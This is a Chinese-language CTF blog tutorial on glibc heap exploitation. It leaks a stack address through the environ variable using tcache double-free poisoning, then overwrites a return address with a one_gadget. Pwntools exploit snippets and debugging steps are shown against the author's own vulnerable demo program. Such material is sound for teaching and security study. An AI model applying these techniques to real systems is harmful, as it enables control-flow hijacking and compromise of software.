Skip to content

基于Environ构造rop链

· 1,077 字 · heap

Environ#

Linux C中environ 变量是一个char** 类型 存储着系统的环境变量 编译下面的程序 进行一个实验 进入pwndbg我们来看一下environ指向的地址是哪里

#include <stdio.h>
#include <stdlib.h>
#include <malloc.h>
void test1(){
  puts("test1");
}
void test2(){
  puts("test2");
}
int main()
{
  while(1){
    test1();
    test2();
  }
}

image.png

实际利用#

覆盖retaddr#

这个办法的利用主要是在堆中 对于开启了沙盒的堆 我们只能构造orw 从而获取flag 但是如何执行rop链是一个难点 如果我们得到了ret addr地址 搭配上任意写 就可以劫持程序执行流 从而执行rop链 演示环境: ubuntu22 libc依赖2.27 1.0小版本 演示附件: 自己编译的 涵盖所有漏洞 首先我们利用tcachebin attack 申请到指向environ的chunk (实际做题当然不局限于tcachebin attack)

libc_addr = gift()
environ_addr = libc_addr + libc.sym['environ']
add(0x30)#0
delete(0)
delete(0)
edit(0,8,p64(environ_addr))
add(0x30)#1
add(0x30,)#2
show(2)
io.recv()
stack_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))#-0x110
success("stack_addr :"+hex(stack_addr))

老生常谈的操作了 不过获取libc基址的那个操作是我编写程序的时候直接给的漏洞 毕竟方便演示嘛 那么 获取了栈上的一个地址 要做的当然是计算和ret addr的偏移了 这时候会存在两种情况 一种rbp的值指向栈上 下一个字长就是ret addr了 直接看就好了 和泄露出来的偏移大概在0x100-0x200左右 上面的小程序就是这种情况 还有一种情况是我的演示程序 其rbp并不指向栈上 image.png

delete(0)
delete(0)
edit(0,8,p64(stack_addr))
add(0x30)#3
add(0x30)#4
onegadget_addr = libc_addr + 0x4f2c5
edit(4,8,p64(onegadget_addr))

直接同样也是图方便 直接填了个onegadget 一般是开沙盒的 或者是libc2.34以上的版本没有hook了 image.png

覆盖函数的retaddr#

这个我感觉比上面那个效果更牛逼一点 上面那种覆盖办法 直接就把程序执行流控死了 执行完你的rop链以后 如果你rop链不返回的话 就直接终止了程序 这个办法是覆盖你调用的函数的retaddr 这样也就把调用函数的执行流控制了 main函数的不会 当然 还是没逼用 毕竟最后都控执行流了 我们肯定就获取shell或者flag了 还要这程序执行下去什么 哎呀 虽然没用 但还是看一看嘛 了解了解 比如 这个时候执行一个puts函数 我们s进入 image.png

delete(0)
delete(0)
edit(0,8,p64(stack_addr))
add(0x30)#3
add(0x30)#4
onegadget_addr = libc_addr + 0x4f2c5
gdb.attach(io,'b *0x4009CF')
pause(0)
edit(4,8,p64(onegadget_addr))
pause()

image.png